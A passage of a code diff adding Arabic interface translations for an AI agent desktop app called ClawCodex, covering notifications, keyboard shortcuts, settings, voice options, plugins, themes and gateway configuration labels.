+      signInToRemoteGateway: 'تسجيل الدخول للبوابة البعيدة',
+      signInWithProvider: provider => `تسجيل الدخول عبر ${provider}`,
+      identityProvider: 'مزود الهوية'
+    }
+  },
+  notifications: {
+    region: 'الإشعارات',
+    hide: 'إخفاء',
+    show: 'إظهار',
+    more: count => `${count} إشعار إضافي`,
+    clearAll: 'مسح الكل',
+    dismiss: 'إغلاق الإشعار',
+    details: 'التفاصيل',
+    copyDetail: 'نسخ التفاصيل',
+    copyDetailFailed: 'تعذر نسخ تفاصيل الإشعار',
+    backendOutOfDateTitle: 'الخلفية قديمة',
+    backendOutOfDateMessage: 'خلفية ClawCodex أقدم من إصدار سطح المكتب الحالي وقد لا تعمل كما يجب. حدثهما ليتوافقا.',
+    updateClawCodex: 'تحديث ClawCodex',
+    updateReadyTitle: 'التحديث جاهز',
+    updateReadyMessage: count => `${count} تغيير جديد متاح.`,
+    seeWhatsNew: 'عرض الجديد',
+    errors: {
+      elevenLabsNeedsKey: 'يتطلب ElevenLabs STT المفتاح ELEVENLABS_API_KEY.',
+      elevenLabsRejectedKey: 'رفض ElevenLabs مفتاح API (401).',
+      diskFull: 'القرص ممتلئ — حرّر مساحة ثم أعد المحاولة.',
+      methodNotAllowed: 'رفضت خلفية سطح المكتب هذا الطلب (405 Method Not Allowed). جرب إعادة تشغيل ClawCodex Desktop.',
+      microphonePermission: 'تم رفض إذن الميكروفون.',
+      openaiRejectedApiKey: 'رفض OpenAI مفتاح API.',
+      openaiRejectedApiKeyWithStatus: status => `رفض OpenAI مفتاح API (${status} invalid_api_key).`,
+      openaiTtsNeedsKey: 'يتطلب OpenAI TTS المفتاح VOICE_TOOLS_OPENAI_KEY أو OPENAI_API_KEY.'
+    },
+    voice: {
+      configureSpeechToText: 'اضبط تحويل الكلام إلى نص لاستخدام وضع الصوت.',
+      couldNotStartSession: 'تعذر بدء جلسة الصوت',
+      microphoneAccessDenied: 'تم رفض الوصول إلى الميكروفون.',
+      microphoneConstraintsUnsupported: 'قيود الميكروفون غير مدعومة على هذا الجهاز.',
+      microphoneFailed: 'فشل الميكروفون',
+      microphoneInUse: 'الميكروفون مستخدم من تطبيق آخر.',
+      microphonePermissionDenied: 'تم رفض إذن الميكروفون.',
+      microphoneStartFailed: 'تعذر بدء تسجيل الميكروفون.',
+      microphoneUnsupported: 'هذا المتصفح لا يدعم تسجيل الميكروفون.',
+      noMicrophone: 'لم يتم العثور على ميكروفون.',
+      noSpeechDetected: 'لم يتم اكتشاف كلام',
+      playbackFailed: 'فشل تشغيل الصوت',
+      recordingFailed: 'فشل التسجيل',
+      sayStopToEnd: phrase => `قل "${phrase}" لإنهاء المحادثة الصوتية.`,
+      transcriptionFailed: 'فشل التفريغ النصي',
+      transcriptionUnavailable: 'التفريغ النصي غير متاح.',
+      tryRecordingAgain: 'حاول التسجيل مرة أخرى.',
+      unavailable: 'الصوت غير متاح'
+    },
+    native: {
+      approvalTitle: 'مطلوب موافقة',
+      approveAction: 'موافقة',
+      rejectAction: 'رفض',
+      inputTitle: 'مطلوب إدخال',
+      inputBody: 'ينتظر ClawCodex ردّك.',
+      turnDoneTitle: 'أنهى ClawCodex',
+      turnDoneBody: '',
+      turnErrorTitle: 'فشلت الجولة',
+      backgroundDoneTitle: 'انتهت المهمة في الخلفية',
+      backgroundFailedTitle: 'فشلت المهمة في الخلفية'
+    }
+  },
+  remoteDisplayBanner: {
+    message: reason => `العرض البرمجي نشط — تم اكتشاف شاشة بعيدة (${reason}). تم تعطيل تسريع GPU لمنع الوميض.`
+  },
+  titlebar: {
+    hideSidebar: 'إخفاء الشريط الجانبي',
+    showSidebar: 'إظهار الشريط الجانبي',
+    search: 'بحث',
+    searchTitle: 'البحث في الجلسات والعروض والإجراءات',
+    swapSidebarSides: 'تبديل جانبي الأشرطة',
+    hideRightSidebar: 'إخفاء الشريط الأيمن',
+    showRightSidebar: 'إظهار الشريط الأيمن',
+    muteHaptics: 'كتم الاهتزازات',
+    unmuteHaptics: 'تفعيل الاهتزازات',
+    openSettings: 'فتح الإعدادات',
+    openStarmap: 'فتح خريطة الذاكرة',
+    openKeybinds: 'اختصارات لوحة المفاتيح',
+    layoutEditor: 'محرر التخطيط',
+    layoutEditorTitle: 'محرر التخطيط — انقر مع ⌘ لإعادة ضبط التخطيط'
+  },
+  keybinds: {
+    title: 'اختصارات لوحة المفاتيح',
+    subtitle: open => `انقر على اختصار لإعادة تعيينه · ${open} يعيد فتح هذه اللوحة.`,
+    search: 'ابحث في الاختصارات...',
+    rebind: 'إعادة تعيين',
+    reset: 'إعادة إلى الافتراضي',
+    resetAll: 'إعادة تعيين الكل',
+    pressKey: 'اضغط مفتاحا...',
+    set: 'مضبوط',
+    conflictWith: label => `مرتبط أيضا بـ “${label}”`,
+    categories: {
+      composer: 'المحرّر',
+      profiles: 'الملفات الشخصية',
+      session: 'الجلسة',
+      navigation: 'التنقل',
+      view: 'العرض'
+    },
+    actions: {
+      'keybinds.openPanel': 'فتح اختصارات لوحة المفاتيح',
+      'nav.commandPalette': 'فتح لوحة الأوامر',
+      'nav.commandCenter': 'فتح مركز الأوامر',
+      'nav.settings': 'فتح الإعدادات',
+      'nav.profiles': 'فتح الملفات الشخصية',
+      'nav.skills': 'فتح المهارات',
+      'nav.messaging': 'فتح المراسلة',
+      'nav.artifacts': 'فتح العناصر',
+      'nav.cron': 'فتح المهام المجدولة',
+      'nav.agents': 'فتح الوكلاء',
+      'session.new': 'جلسة جديدة',
+      'session.newTab': 'علامة تبويب جلسة جديدة',
+      'session.newWindow': 'جلسة جديدة في نافذة',
+      'session.next': 'الجلسة التالية',
+      'session.prev': 'الجلسة السابقة',
+      'session.slot.1': 'الانتقال إلى الجلسة الأخيرة 1',
+      'session.slot.2': 'الانتقال إلى الجلسة الأخيرة 2',
+      'session.slot.3': 'الانتقال إلى الجلسة الأخيرة 3',
+      'session.slot.4': 'الانتقال إلى الجلسة الأخيرة 4',
+      'session.slot.5': 'الانتقال إلى الجلسة الأخيرة 5',
+      'session.slot.6': 'الانتقال إلى الجلسة الأخيرة 6',
+      'session.slot.7': 'الانتقال إلى الجلسة الأخيرة 7',
+      'session.slot.8': 'الانتقال إلى الجلسة الأخيرة 8',
+      'session.slot.9': 'الانتقال إلى الجلسة الأخيرة 9',
+      'session.focusSearch': 'البحث في الجلسات',
+      'session.togglePin': 'تثبيت / إلغاء تثبيت الجلسة الحالية',
+      'workspace.newWorktree': 'worktree جديد',
+      'workspace.openFolder': 'فتح مجلد كمشروع',
+      'composer.focus': 'التركيز على المحرّر',
+      'composer.modelPicker': 'فتح منتقي النموذج',
+      'composer.voice': 'بدء / إيقاف المحادثة الصوتية',
+      'view.toggleSidebar': 'تبديل الشريط الجانبي للجلسات',
+      'view.toggleRightSidebar': 'تبديل متصفح الملفات',
+      'view.toggleReview': 'تبديل لوحة المراجعة',
+      'view.showFiles': 'إظهار متصفح الملفات',
+      'view.showTerminal': 'إظهار الطرفية',
+      'view.closeTab': 'إغلاق علامة التبويب',
+      'view.reopenTab': 'إعادة فتح علامة التبويب المغلقة',
+      'view.terminalSelection': 'إرسال تحديد الطرفية إلى المحرّر',
+      'view.terminalCopy': 'نسخ تحديد الطرفية',
+      'view.terminalPaste': 'لصق في الطرفية',
+      'view.closePreviewTab': 'إغلاق علامة تبويب المعاينة',
+      'view.flipPanes': 'تبديل جانبي الشريط الجانبي',
+      'appearance.toggleMode': 'تبديل الفاتح / الداكن',
+      'profile.default': 'الانتقال إلى الملف الشخصي الافتراضي',
+      'profile.switch.1': 'الانتقال إلى الملف الشخصي 1',
+      'profile.switch.2': 'الانتقال إلى الملف الشخصي 2',
+      'profile.switch.3': 'الانتقال إلى الملف الشخصي 3',
+      'profile.switch.4': 'الانتقال إلى الملف الشخصي 4',
+      'profile.switch.5': 'الانتقال إلى الملف الشخصي 5',
+      'profile.switch.6': 'الانتقال إلى الملف الشخصي 6',
+      'profile.switch.7': 'الانتقال إلى الملف الشخصي 7',
+      'profile.switch.8': 'الانتقال إلى الملف الشخصي 8',
+      'profile.switch.9': 'الانتقال إلى الملف الشخصي 9',
+      'profile.switch.10': 'الانتقال إلى الملف الشخصي 10',
+      'profile.switch.11': 'الانتقال إلى الملف الشخصي 11',
+      'profile.switch.12': 'الانتقال إلى الملف الشخصي 12',
+      'profile.switch.13': 'الانتقال إلى الملف الشخصي 13',
+      'profile.switch.14': 'الانتقال إلى الملف الشخصي 14',
+      'profile.switch.15': 'الانتقال إلى الملف الشخصي 15',
+      'profile.switch.16': 'الانتقال إلى الملف الشخصي 16',
+      'profile.switch.17': 'الانتقال إلى الملف الشخصي 17',
+      'profile.switch.18': 'الانتقال إلى الملف الشخصي 18',
+      'profile.next': 'الملف الشخصي التالي',
+      'profile.prev': 'الملف الشخصي السابق',
+      'profile.toggleAll': 'تبديل عرض كل الملفات الشخصية',
+      'profile.create': 'إنشاء ملف شخصي',
+      'composer.send': 'إرسال الرسالة',
+      'composer.newline': 'إدراج سطر جديد',
+      'composer.steer': 'توجيه الدور الجاري',
+      'composer.sendQueued': 'إرسال الدور التالي في الطابور',
+      'composer.mention': 'الإشارة إلى الملفات والمجلدات وعناوين URL',
+      'composer.slash': 'لوحة الأوامر المائلة',
+      'composer.help': 'مساعدة سريعة',
+      'composer.history': 'التنقل في النافذة المنبثقة / السجل',
+      'composer.cancel': 'إغلاق النافذة المنبثقة · إلغاء التشغيل'
+    }
+  },
+  language: {
+    label: 'اللغة',
+    description: 'اختر لغة واجهة سطح المكتب.',
+    saving: 'جار حفظ اللغة...',
+    saveError: 'تعذر تحديث اللغة',
+    switchTo: 'تغيير اللغة',
+    searchPlaceholder: 'ابحث عن لغة...',
+    noResults: 'لا توجد لغة مطابقة'
+  },
+  settings: {
+    closeSettings: 'إغلاق الإعدادات',
+    exportConfig: 'تصدير الإعدادات',
+    importConfig: 'استيراد الإعدادات',
+    resetToDefaults: 'إعادة الافتراضيات',
+    resetConfirm: 'هل تريد إعادة كل الإعدادات إلى افتراضيات ClawCodex؟',
+    exportFailed: 'فشل التصدير',
+    resetFailed: 'فشلت إعادة الضبط',
+    nav: {
+      providers: 'المزودون',
+      providerAccounts: 'الحسابات',
+      providerApiKeys: 'مفاتيح API',
+      gateway: 'البوابة',
+      apiKeys: 'الأدوات والمفاتيح',
+      keysTools: 'الأدوات',
+      keysSettings: 'الإعدادات',
+      mcp: 'MCP',
+      archivedChats: 'المحادثات المؤرشفة',
+      about: 'حول',
+      notifications: 'الإشعارات',
+      keybinds: 'اختصارات لوحة المفاتيح',
+      plugins: 'الإضافات'
+    },
+    plugins: {
+      title: 'إضافات سطح المكتب',
+      blurb:
+        'امتدادات واجهة تُحمّل داخل هذا التطبيق — إما مضمّنة مع البناء، أو موضوعة في مجلد desktop-plugins (بما فيها التي يكتبها ClawCodex). تعطيل الإضافة يفرغها مباشرة ويبقى بعد إعادة التشغيل.',
+      count: n => `${n} مثبتة`,
+      openFolder: 'فتح مجلد الإضافات',
+      rescan: 'إعادة الفحص',
+      reveal: 'إظهار في مدير الملفات',
+      enable: 'تفعيل',
+      disable: 'تعطيل',
+      failed: 'فشل',
+      empty: 'لا توجد إضافات سطح مكتب مثبتة بعد.',
+      kinds: { bundled: 'مضمّنة', disk: 'على القرص', runtime: 'وقت التشغيل' }
+    },
+    notifications: {
+      title: 'الإشعارات',
+      intro:
+        'إشعارات سطح المكتب الأصلية، منفصلة عن التنبيهات داخل التطبيق. هذه محلية على الجهاز — كل حاسوب يحتفظ بإعداداته الخاصة.',
+      enableAll: 'تفعيل الإشعارات',
+      enableAllDesc: 'إيقافه يصمت كل الإشعارات أدناه.',
+      focusedHint: 'تنبيهات الاكتمال تظهر فقط عندما يكون ClawCodex في الخلفية.',
+      kinds: {
+        approval: {
+          label: 'يلزم الموافقة',
+          description: 'هناك أمر ينتظر موافقتك أو رفضك له.'
+        },
+        input: {
+          label: 'يلزم إدخال',
+          description: 'طرح ClawCodex سؤالا أو يحتاج إلى كلمة مرور أو سر.'
+        },
+        turnDone: {
+          label: 'الرد جاهز',
+          description: 'انتهى دور بينما كان ClawCodex في الخلفية.'
+        },
+        turnError: {
+          label: 'فشل الدور',
+          description: 'أخطاء الأدوار في الخلفية.'
+        },
+        backgroundDone: {
+          label: 'اكتملت مهمة الخلفية',
+          description: 'اكتمل أمر طرفية يعمل في الخلفية.'
+        }
+      },
+      test: 'إرسال إشعار تجريبي',
+      testTitle: 'ClawCodex',
+      testBody: 'الإشعارات تعمل.',
+      testSent: 'تم إرسال التجربة. إذا لم يظهر شيء، تحقق من أذونات الإشعارات في نظام التشغيل ووضع التركيز/عدم الإزعاج.',
+      testUnsupported: 'هذا النظام لا يدعم الإشعارات الأصلية.',
+      completionSoundTitle: 'صوت الاكتمال',
+      completionSoundDesc: 'يُشغّل عند انتهاء دور الوكيل. اختر إعدادا مسبقا وعاينه هنا.',
+      completionSoundPreview: 'معاينة'
+    },
+    sections: {
+      model: 'النموذج',
+      chat: 'المحادثة',
+      appearance: 'المظهر',
+      workspace: 'مساحة العمل',
+      safety: 'الأمان',
+      memory: 'الذاكرة والسياق',
+      voice: 'الصوت',
+      advanced: 'متقدم'
+    },
+    searchPlaceholder: {
+      about: 'حول ClawCodex Desktop',
+      config: 'ابحث في الإعدادات...',
+      gateway: 'اتصال البوابة...',
+      keys: 'ابحث في مفاتيح API...',
+      mcp: 'ابحث في خوادم MCP...',
+      sessions: 'ابحث في المحادثات المؤرشفة...'
+    },
+    modeOptions: {
+      light: {
+        label: 'فاتح',
+        description: 'أسطح سطح مكتب ساطعة'
+      },
+      dark: {
+        label: 'داكن',
+        description: 'مساحة عمل منخفضة الوهج'
+      },
+      system: {
+        label: 'النظام',
+        description: 'اتباع مظهر نظام التشغيل'
+      }
+    },
+    appearance: {
+      title: 'المظهر',
+      intro: 'خصص مظهر ClawCodex Desktop.',
+      colorMode: 'نمط الألوان',
+      colorModeDesc: 'اختر الوضع الفاتح أو الداكن أو اتبع النظام.',
+      toolViewTitle: 'عرض الأدوات',
+      toolViewDesc: 'تحكم في كيفية عرض نشاط الأدوات داخل المحادثة.',
+      translucencyTitle: 'شفافية النافذة',
+      translucencyDesc: 'إظهار سطح المكتب من خلال النافذة بالكامل. متاح على macOS وWindows فقط.',
+      backdropTitle: 'خلفية النافذة',
+      backdropDesc: 'اختيار مقدار مزج خلفية سطح المكتب مع سطح ClawCodex.',
+      reactionsTitle: 'تفاعلات الرسائل',
+      reactionsDesc: 'تفاعلات إيموجي بأسلوب iMessage — تفاعل مع الرسائل، ويمكن لـ ClawCodex التفاعل مع رسائلك.',
+      embedsTitle: 'التضمينات المضمّنة',
+      embedsDesc:
+        'تُحمّل المعاينات الغنية من مواقع طرف ثالث (YouTube، X، …). "اسأل" يعرض عنصرا نائبا حتى تسمح لكل واحد؛ "دائما" يحمّلها تلقائيا؛ "إيقاف" يبقي الروابط عادية.',
+      embedsAsk: 'اسأل',
+      embedsAlways: 'دائما',
+      embedsOff: 'إيقاف',
+      embedsReset: count => `إعادة تعيين ${count} ${count === 1 ? 'خدمة مسموح بها' : 'خدمة مسموح بها'}`,
+      product: 'مبسط',
+      productDesc: 'عرض أنظف يركز على النتيجة.',
+      technical: 'تقني',
+      technicalDesc: 'يعرض تفاصيل أكثر عن الأدوات والتنفيذ.',
+      themeTitle: 'الثيم',
+      themeDesc: 'اختر ثيم سطح المكتب.',
+      themeProfileNote: profile => `سيطبق هذا الثيم على الملف الشخصي ${profile}.`,
+      installTitle: 'تثبيت ثيم',
+      installDesc: 'ألصق رابط ثيم أو اسمه لتثبيته.',
+      installPlaceholder: 'رابط أو اسم الثيم',
+      installButton: 'تثبيت',
+      installing: 'جار التثبيت...',
+      installError: 'فشل تثبيت الثيم',
+      installed: name => `تم تثبيت ${name}`,
+      removeTheme: 'إزالة الثيم',
+      importedBadge: 'مستورد',
+      pet: {
+        title: 'حيوان أليف',
+        intro:
+          'تبنَّ تعويذة petdex متحركة تطفو فوق التطبيق وتتفاعل مع ما يفعله ClawCodex — تجري أثناء تنفيذ الأدوات، وتحتفل عند النجاح، وتعبس عند الأخطاء.',
+        restartHint:
+          'تحتاج الحيوانات الأليفة إلى إعادة تشغيل سريعة — بدأ التطبيق العامل قبل إضافة هذه الميزة. أغلق ClawCodex وأعد فتحه، ثم ارجع إلى هنا.',
+        on: 'تشغيل',
+        off: 'إيقاف',
+        scaleTitle: 'الحجم',
+        scaleDesc: 'غيّر حجم التعويذة الطافية. يُطبّق في كل مكان فورا.',
+        chooseTitle: 'اختر حيوانا أليفا',
+        chooseDesc: 'اختياره يثبّته (إن لزم) ويجعله نشطا.',
+        searchPlaceholder: 'البحث عن حيوانات أليفة...',
+        unreachable: 'تعذّر الوصول إلى معرض petdex. تحقق من اتصالك وأعد فتح هذه الصفحة.',
+        noMatch: query => `لا توجد حيوانات أليفة تطابق "${query}".`,
+        installedTag: 'مثبّت',
+        generatedTag: 'مُولّد',
+        countCapped: (cap, total) => `عرض ${cap} من ${total} — اكتب لتضييق النتائج.`,
+        count: n => `${n} ${n === 1 ? 'حيوان أليف' : 'حيوان أليف'}.`,
+        uninstall: name => `إلغاء تثبيت ${name}`,
+        delete: name => `حذف ${name}`,
+        deleteTitle: name => `حذف ${name}؟`,
+        deleteBody: 'هذا يحذف الحيوان الأليف نهائيا — لا يمكن إعادة تثبيته.',
+        deleteConfirm: 'حذف',
+        rename: name => `إعادة تسمية ${name}`,
+        renameTitle: 'إعادة تسمية الحيوان الأليف',
+        renamePlaceholder: 'سمِّ حيوانك الأليف',
+        renameSave: 'حفظ',
+        exportPet: name => `تصدير ${name}`,
+        adoptFailed: slug => `تعذّر تبني ${slug}`,
+        uninstallFailed: slug => `تعذّر إلغاء تثبيت ${slug}`,
+        renameFailed: slug => `تعذّرت إعادة تسمية ${slug}`,
+        exportFailed: slug => `تعذّر تصدير ${slug}`,
+        noneAvailable: 'لا توجد حيوانات أليفة متاحة للتشغيل الآن.',
+        turnOnFailed: 'تعذّر تشغيل الحيوان الأليف.',
+        turnOffFailed: 'تعذّر إيقاف الحيوان الأليف.'
+      }
+    },
+    fieldLabels: {
+      model: 'النموذج الافتراضي',
+      modelContextLength: 'نافذة السياق',
+      fallbackProviders: 'النماذج الاحتياطية',
+      toolsets: 'مجموعات الأدوات المفعلة',
+      timezone: 'المنطقة الزمنية',
+      'display.personality': 'أسلوب المساعد',
+      'display.showReasoning': 'إظهار التفكير',
+      'agent.maxTurns': 'الحد الأقصى لخطوات الوكيل',
+      'agent.imageInputMode': 'مرفقات الصور',
+      'agent.apiMaxRetries': 'محاولات API',
+      'agent.serviceTier': 'مستوى الخدمة',
+      'agent.toolUseEnforcement': 'فرض استخدام الأدوات',
+      'terminal.cwd': 'مجلد العمل',
+      'terminal.backend': 'خلفية التنفيذ',
+      'terminal.timeout': 'مهلة الأوامر',
+      'terminal.persistentShell': 'صدفة مستمرة',
+      'terminal.envPassthrough': 'تمرير متغيرات البيئة',
+      'terminal.dockerImage': 'صورة Docker',
+      'terminal.singularityImage': 'صورة Singularity',
+      'terminal.modalImage': 'صورة Modal',
+      'terminal.daytonaImage': 'صورة Daytona',
+      fileReadMaxChars: 'حد قراءة الملفات',
+      'toolOutput.maxBytes': 'حد مخرجات الطرفية',
+      'toolOutput.maxLines': 'حد صفحات الملفات',
+      'toolOutput.maxLineLength': 'حد طول السطر',
+      'codeExecution.mode': 'نمط تنفيذ الكود',
+      'approvals.mode': 'نمط الموافقات',
+      'approvals.timeout': 'مهلة الموافقة',
+      'approvals.mcpReloadConfirm': 'تأكيد إعادة تحميل MCP',
+      commandAllowlist: 'قائمة الأوامر المسموحة',
+      'security.redactSecrets': 'إخفاء الأسرار',
+      'security.allowPrivateUrls': 'السماح بالروابط الخاصة',
+      'browser.allowPrivateUrls': 'روابط المتصفح الخاصة',
+      'browser.autoLocalForPrivateUrls': 'متصفح محلي للروابط الخاصة',
+      'checkpoints.enabled': 'نقاط حفظ الملفات',
+      'checkpoints.maxSnapshots': 'حد نقاط الحفظ',
+      'voice.recordKey': 'اختصار الصوت',
+      'voice.maxRecordingSeconds': 'أقصى مدة للتسجيل',
+      'voice.autoTts': 'قراءة الردود صوتياً',
+      'stt.enabled': 'تحويل الكلام إلى نص',
+      'stt.provider': 'مزود تحويل الكلام إلى نص',
+      'stt.local.model': 'نموذج التفريغ المحلي',
+      'stt.local.language': 'لغة التفريغ',
+      'stt.openai.model': 'نموذج OpenAI STT',
+      'stt.groq.model': 'نموذج Groq STT',
+      'stt.mistral.model': 'نموذج Mistral STT',
+      'stt.elevenlabs.modelId': 'نموذج ElevenLabs STT',
+      'stt.elevenlabs.languageCode': 'لغة ElevenLabs',
+      'stt.elevenlabs.tagAudioEvents': 'وسم أحداث الصوت',
+      'stt.elevenlabs.diarize': 'تمييز المتحدثين',
+      'tts.provider': 'مزود تحويل النص إلى كلام',
+      'tts.edge.voice': 'صوت Edge',
+      'tts.openai.model': 'نموذج OpenAI TTS',
+      'tts.openai.voice': 'صوت OpenAI',
+      'tts.elevenlabs.voiceId': 'صوت ElevenLabs',
+      'tts.elevenlabs.modelId': 'نموذج ElevenLabs',
+      'tts.xai.voiceId': 'صوت xAI (Grok)',
+      'tts.xai.language': 'لغة xAI',
+      'tts.minimax.model': 'نموذج MiniMax TTS',
+      'tts.minimax.voiceId': 'صوت MiniMax',
+      'tts.mistral.model': 'نموذج Mistral TTS',
+      'tts.mistral.voiceId': 'صوت Mistral',
+      'tts.gemini.model': 'نموذج Gemini TTS',
+      'tts.gemini.voice': 'صوت Gemini',
+      'tts.neutts.model': 'نموذج NeuTTS',
+      'tts.neutts.device': 'جهاز NeuTTS',
+      'tts.kittentts.model': 'نموذج KittenTTS',
+      'tts.kittentts.voice': 'صوت KittenTTS',
+      'tts.piper.voice': 'صوت Piper',
+      'memory.memoryEnabled': 'الذاكرة المستمرة',
+      'memory.userProfileEnabled': 'ملف المستخدم',
+      'memory.memoryCharLimit': 'ميزانية الذاكرة',
+      'memory.userCharLimit': 'ميزانية الملف الشخصي',
+      'memory.provider': 'مزود الذاكرة',
+      'context.engine': 'محرك السياق',
+      'compression.enabled': 'الضغط التلقائي',
+      'compression.threshold': 'عتبة الضغط',
+      'compression.targetRatio': 'هدف الضغط',
+      'compression.protectLastN': 'الرسائل الأخيرة المحمية',
+      'delegation.model': 'نموذج الوكيل الفرعي',
+      'delegation.provider': 'مزود الوكيل الفرعي',
+      'delegation.maxIterations': 'حد دورات الوكيل الفرعي',
+      'delegation.maxConcurrentChildren': 'الوكلاء الفرعيون المتوازيون',
+      'delegation.childTimeoutSeconds': 'مهلة الوكيل الفرعي',
+      'delegation.reasoningEffort': 'جهد تفكير الوكيل الفرعي',
+      'updates.nonInteractiveLocalChanges': 'تغييرات التحديث داخل التطبيق'
+    },
+    fieldDescriptions: {
+      model: 'يستخدم في المحادثات الجديدة ما لم تختر نموذجاً مختلفاً من محرر الرسائل.',
+      modelContextLength: 'اتركه 0 لاستخدام نافذة السياق المكتشفة للنموذج المحدد.',
+      fallbackProviders: 'إدخالات احتياطية بصيغة provider:model لتجربتها إذا فشل النموذج الافتراضي.',
+      'display.personality': 'أسلوب المساعد الافتراضي للجلسات الجديدة.',
+      'display.showReasoning': 'يعرض أقسام التفكير عندما توفرها الخلفية.',
+      timezone: 'تستخدم عندما يحتاج ClawCodex إلى سياق الوقت المحلي. اتركها فارغة لاستخدام منطقة النظام.',
+      'agent.imageInputMode': 'يتحكم في طريقة إرسال مرفقات الصور إلى النموذج.',
+      'agent.maxTurns': 'الحد الأعلى لدورات استدعاء الأدوات قبل أن يوقف ClawCodex التشغيل.',
+      'terminal.cwd': 'مجلد المشروع الافتراضي لعمل الأدوات والطرفية.',
+      'terminal.persistentShell': 'يحافظ على حالة الصدفة بين الأوامر عندما تدعمها الخلفية.',
+      'terminal.envPassthrough': 'متغيرات البيئة التي تمرر إلى تنفيذ الأدوات.',
+      'terminal.dockerImage': 'صورة الحاوية المستخدمة عند اختيار Docker كخلفية تنفيذ.',
+      'terminal.singularityImage': 'الصورة المستخدمة عند اختيار Singularity.',
+      'terminal.modalImage': 'الصورة المستخدمة عند اختيار Modal.',
+      'terminal.daytonaImage': 'الصورة المستخدمة عند اختيار Daytona.',
+      'codeExecution.mode': 'مدى تقييد تنفيذ الكود بالمشروع الحالي.',
+      fileReadMaxChars: 'أقصى عدد أحرف يستطيع ClawCodex قراءته من ملف واحد في الطلب.',
+      'approvals.mode': 'كيف يتعامل ClawCodex مع الأوامر التي تحتاج موافقة صريحة.',
+      'approvals.timeout': 'مدة انتظار طلبات الموافقة قبل انتهاء المهلة.',
+      'security.redactSecrets': 'يخفي الأسرار المكتشفة من المحتوى المرئي للنموذج قدر الإمكان.',
+      'checkpoints.enabled': 'ينشئ لقطات رجوع قبل تعديلات الملفات.',
+      'memory.memoryEnabled': 'يحفظ ذكريات دائمة يمكن أن تساعد الجلسات القادمة.',
+      'memory.userProfileEnabled': 'يحافظ على ملف مختصر لتفضيلات المستخدم.',
+      'context.engine': 'استراتيجية إدارة المحادثات الطويلة قرب حد السياق.',
+      'compression.enabled': 'يلخص السياق الأقدم عندما تكبر المحادثات.',
+      'voice.autoTts': 'ينطق ردود المساعد تلقائياً.',
+      'tts.xai.voiceId': 'معرف صوت xAI مثل eve أو معرف صوت مخصص.',
+      'tts.xai.language': 'رمز لغة النطق، مثل en.',
+      'tts.neutts.device': 'جهاز الاستدلال المحلي لـ NeuTTS.',
+      'stt.enabled': 'يفعل التفريغ الصوتي المحلي أو عبر مزود.',
+      'stt.elevenlabs.languageCode': 'رمز لغة ISO-639-3 اختياري. اتركه فارغاً للاكتشاف التلقائي.',
+      'updates.nonInteractiveLocalChanges':
+        'عندما يحدّث ClawCodex نفسه من التطبيق دون موجه طرفية، احتفظ بتعديلات المصدر المحلية أو تجاهلها.'
+    },
+    about: {
+      heading: 'حول ClawCodex',
+      version: value => `الإصدار ${value}`,
+      versionUnavailable: 'الإصدار غير متاح',
+      updates: 'التحديثات',
+      checkNow: 'التحقق الآن',
+      checking: 'جار التحقق...',
+      seeWhatsNew: 'عرض الجديد',
+      updateNow: 'تحديث الآن',
+      releaseNotes: 'ملاحظات الإصدار',
+      onLatest: 'أنت على أحدث إصدار',
+      installing: 'جار التثبيت...',
+      cantUpdate: 'تعذر التحديث',
+      cantReach: 'تعذر الوصول لخدمة التحديث',
+      tapCheck: 'اضغط للتحقق من التحديثات.',
+      updateReady: count => `${count} تحديث متاح`,
+      lastChecked: age => `آخر تحقق ${age}`,
+      justNowSuffix: 'الآن',
+      automaticUpdates: 'التحديثات التلقائية',
+      automaticUpdatesDesc: 'اسمح لـ ClawCodex بالتحقق من التحديثات وتثبيتها.',
+      branchCommit: (branch, commit) => `${branch} عند ${commit}`,
+      never: 'أبدا',
+      justNow: 'الآن',
+      minAgo: count => `قبل ${count} دقيقة`,
+      hoursAgo: count => `قبل ${count} ساعة`,
+      daysAgo: count => `قبل ${count} يوم`
+    },
+    config: {
+      none: 'لا شيء',
+      noneParen: '(لا شيء)',
+      notSet: 'غير مضبوط',
+      commaSeparated: 'قيم مفصولة بفواصل',
+      searchPlaceholder: 'بحث…',
+      noResults: 'لا توجد نتائج',
+      systemDefault: 'إعداد النظام الافتراضي',
+      loading: 'جار تحميل إعدادات ClawCodex...',
+      emptyTitle: 'لا توجد إعدادات',
+      emptyDesc: 'لا يحتوي هذا القسم على إعدادات قابلة للتعديل.',
+      failedLoad: 'فشل تحميل الإعدادات',
+      autosaveFailed: 'فشل الحفظ التلقائي',
+      imported: 'تم استيراد الإعدادات',
+      invalidJson: 'JSON غير صالح'
+    },
+    quickEntry: {
+      enabledTitle: 'الإدخال السريع',
+      enabledDesc: 'استدعِ محرّرا صغيرا من أي مكان باختصار عام وأرسل طلبا دون فتح ClawCodex.',
+      shortcutTitle: 'اختصار الإدخال السريع',
+      shortcutDesc: 'يحتاج إلى مفتاح تعديل واحد على الأقل، مثل CommandOrControl+Shift+Space.',
+      active: 'الاختصار مفعّل.',
+      takenBy: 'يستخدم تطبيق آخر هذا الاختصار — اختر اختصارا مختلفا.',
+      invalidShortcut: 'ليس اختصارا صالحا. أضف مفتاح تعديل واحدا على الأقل.'
+    },
+    credentials: {
+      pasteKey: 'لصق المفتاح',
+      pasteLabelKey: label => `لصق مفتاح ${label}`,
+      optional: 'اختياري',
+      enterValueFirst: 'أدخل قيمة أولا.',
+      couldNotSave: 'تعذّر حفظ بيانات الاعتماد.',
+      remove: 'إزالة',
+      getKey: 'احصل على مفتاح',
+      saving: 'جار الحفظ'
+    },
+    envActions: {
+      actions: 'إجراءات',
+      docs: 'الوثائق',
+      hideValue: 'إخفاء القيمة',
+      revealValue: 'إظهار القيمة',
+      replace: 'استبدال',
+      set: 'ضبط',
+      clear: 'مسح'
+    },
+    gateway: {
+      loading: 'جار تحميل إعدادات البوابة...',
+      unavailableTitle: 'إعدادات البوابة غير متاحة',
+      unavailableDesc: 'جسر IPC في سطح المكتب لا يوفّر إعدادات البوابة.',
+      title: 'اتصال البوابة',
+      envOverride: 'تجاوز من البيئة',
+      intro:
+        'يشغّل ClawCodex Desktop بوابة محلية خاصة افتراضياً. استخدم بوابة بعيدة عندما تريد أن يتحكم هذا التطبيق بخلفية ClawCodex تعمل مسبقاً على جهاز آخر أو خلف وكيل موثوق.',
+      appliesTo: 'ينطبق على',
+      allProfiles: 'كل الملفات الشخصية',
+      defaultConnection: 'الاتصال الافتراضي لكل ملف شخصي لا يملك تجاوزاً خاصاً.',
+      profileConnection: profile =>
+        `الاتصال المستخدم فقط عندما يكون "${profile}" هو الملف الشخصي النشط. اختر "استخدام البوابة الافتراضية" لإزالة التجاوز الخاص به.`,
